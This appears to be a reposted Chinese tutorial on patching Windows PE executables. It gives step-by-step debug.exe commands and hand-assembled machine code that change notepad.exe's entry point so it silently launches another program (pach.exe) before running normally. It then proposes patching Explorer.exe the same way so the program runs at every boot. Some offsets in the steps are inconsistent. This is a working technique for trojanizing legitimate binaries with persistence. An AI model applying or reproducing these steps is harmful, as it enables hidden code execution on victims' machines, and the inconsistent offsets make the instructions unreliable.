關於PE可執行檔的修改(3) 給PE檔案打補丁

來源:互聯網
上載者:User
 --------給PE檔案打補丁--------
我們都知道在PE檔案中有很多空隙,所以我們就有可能給PE檔案打補丁.
做法是在空隙中插入我們的補丁代碼.
下面我通過執行個體來教大家給win97的notepad.exe(記事本)程式來打個補
丁,使得notepad.exe運行時先運行我的pach.exe程式,方法是:
1.在notepad.exe的section間隙中插入
ShellExecute(0,"open","pach.exe",0,0,5)這個 api函數調用
2.後面加入jmp old_begin來跳回原來的程式啟動點執行原來的代碼
3.修改程式的進入點為新的進入點
經過這三步*作後,你就為notepad.exe程式打上了補丁,以後每次執行notepad.exe
都會先執行pach.exe程式了.
聽起來很簡單,做起來麻煩,我們來看看如何實際*作吧'
首先我們需要有個debug.exe用來修改notepad.exe程式的內容,這是windows
內建的,你不用費事找的,當然你要分析pe檔案的結構和他的反組譯碼指令的話還要一
個dumppe.exe程式,他是masm32彙編器內建的一個免費程式,功能強大,我們分析pe
格式和反組譯碼碼就用他了,如果你沒有這個程式也沒關係,想要的話從這裡下載就行
http://njhhack.top263.net/dumppe.zip當然我們還要一個win97的*作系統,因為
我們對他的notepad.exe程式打補丁.
好了,準備好後,我們開始工作了,先把notepad.exe複製到c:/n.exe,c:/n
然後我們對n進行手術,首先我們分析n.exe的內部結構,用dumppe -disasm n.exe>n.txt
好了,n.txt中包含了我們要的所有資訊,當然我們只對下面的幾個內容感興趣:
------------------------------------------------
Address of Entry Point 00001000
-------------------------------------------------
01 .text Virtual Address 00001000
Virtual Size 00003A9B
----------------------------------------------------
00402E20 FF1578734000 call dword ptr [ShellExecuteA]
-----------------------------------------------------------------
上面這三部分資訊分別是什麼含義呢?
1.其中Address of Entry Point 00001000
表示程式的進入點為1000,這個很重要,因為我們的程式執行完後要跳回這個進入點,
2.其中 01 .text Virtual Address 00001000
Virtual Size 00003A9B
表示程式碼片段的虛擬位址從1000開始,大小為3a9b,這個也很重要,因為我知道每個
section以200對齊,現在大小為3a9b,比對齊後的3c00要少,所以程式碼片段有空隙,我們就可
以在此插入自已的代碼了,空隙的大小為3c00-3a9b=165大小,足夠了,
3.其中00402E20 FF1578734000 call dword ptr [ShellExecuteA]
是一個反組譯碼代碼,我們瞭解到ShellExecuteA的調用的機器碼為FF1578734000,
有了上面這三個重要訊息後,我們開始最艱難的工作了:
=============================================================================
1.我們修改程式碼片段的大小,把Virtual Size的值由00003A9B改為00003C00,這樣
我們的代碼才能被裝入記憶體.因為Virtual Size值存在180的位置,所以我們可以這麼做:
debug n
-f280 l2 0,3c
-w
-q
這樣我們就改好了程式碼片段的大小
2.我們修改程式的入口地址為3a9d+1000=4a9d,方法如下
因為入口地址在a8這個位置,所以這麼做
debug n
-f1a8 l2 9d,4a
-w
-q
這樣我們修改好了入口地址
3.最後一步最難了,就是設計彙編代碼了,來吧,精神點'

-------------------------------------------------------
記憶體位址 機器碼 彙編指令
-------------------------------------------------------
00404A9D 6A05 push 5
00404A9F 6A00 push 0
00404AA1 6A00 push 0
00404AA3 68E04B4000 push 404BE0h
00404AA8 68F04B4000 push 404BF0h
00404AAD 6A00 push 0
00404AAF FF1578734000 call dword ptr [ShellExecuteA]
00404AB5 E941010000 jmp loc_00404BFB

00404BE0 6861636B2E657865 db "pach.exe",0
00404BF0 6F70656E db "open",0
00404BFB E900C4FFFF jmp loc_00401000
--------------------------------------------------------------
這就是我們要寫的全部彙編指令,不長,但你要懂他的原理,好吧,我們來分析
其中的
push 5
push 0
push 0
push 404BE0h
push 404BF0h
push 0
是把6個參數壓入堆棧,供ShellExecute函數使用,至於該函數的參數結構,大家看win32.hlp的描述
然後call dword ptr [ShellExecuteA]這是調用這個函數了,其效果等同於下面的C語言格式
ShellExecuteA(0,"open","pach.exe",0,0,5);
也就是說最先壓入堆棧的參數在函數的最右邊,其中"open","pach.exe"分別相當於404BE0h,404BF0h
這兩個記憶體位址,因為在該函數中,字串參數的傳遞是傳的字串地址,因此
00404BE0 6861636B2E657865 db "pach.exe",0
00404BF0 6F70656E db "open",0
這上面兩行就是在記憶體中定義了兩個字串.
00404AB5 E941010000 jmp loc_00404BFB
上面這行是在call 完函數後跳到00404BFB這個地址.
00404BFB E900C4FFFF jmp loc_00401000
這一行是跳回原來的入口地址1000,執行原來的程式.
-----------------------------------------------------------------
好了,原理講完了,我們最後要把這些指令放入程式碼片段,當然就是把機器碼放進去了,方
法如下:
因為程式碼片段在400位置,而我們新進入點在3b9d,所以開始放數的地方是100+400+3a9d=3f9d
其中加的100是debug在記憶體中的基地址,所以做法如下:
debug n
-f3f9d l1d 6a,5,6a,0,6a,0,68,e0,4b,40,0,68,f0,4b,40,0,6a,0,ff,15,78,73,40,0,e9,41,1,0,0
-f40e0 l9 "pach.exe",0
-f40f0 l5 "open",0
-f40fb l5 e9,0,c4,ff,ff
-w
-q
好了,我們終於完成了最艱難的任務,可以頎賞一下成果了,把n.exe用n代換,方法為copy n n.exe開啟n.exe
我們發現,在啟動記事本程式的時候,同時開啟了pach.exe這個程式,呵呵,我們終於成功了
想看效果,到這裡下載njhhack.top263.net/pach.zip這個不是木馬,是示範程式,大家不要害怕
---------------------------------------------------
用同樣的方法,你可以給任何程式打補丁,只要他在程式中調用了ShellExecute,WinExec,CreateProcess,...
這些函數就行,比如我們可以給Explorer.exe打補丁,這樣我們就可以在啟動電腦時,自動運行pach.exe程式了
你還可以給很多這樣的程式打補丁,只要你願意.

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.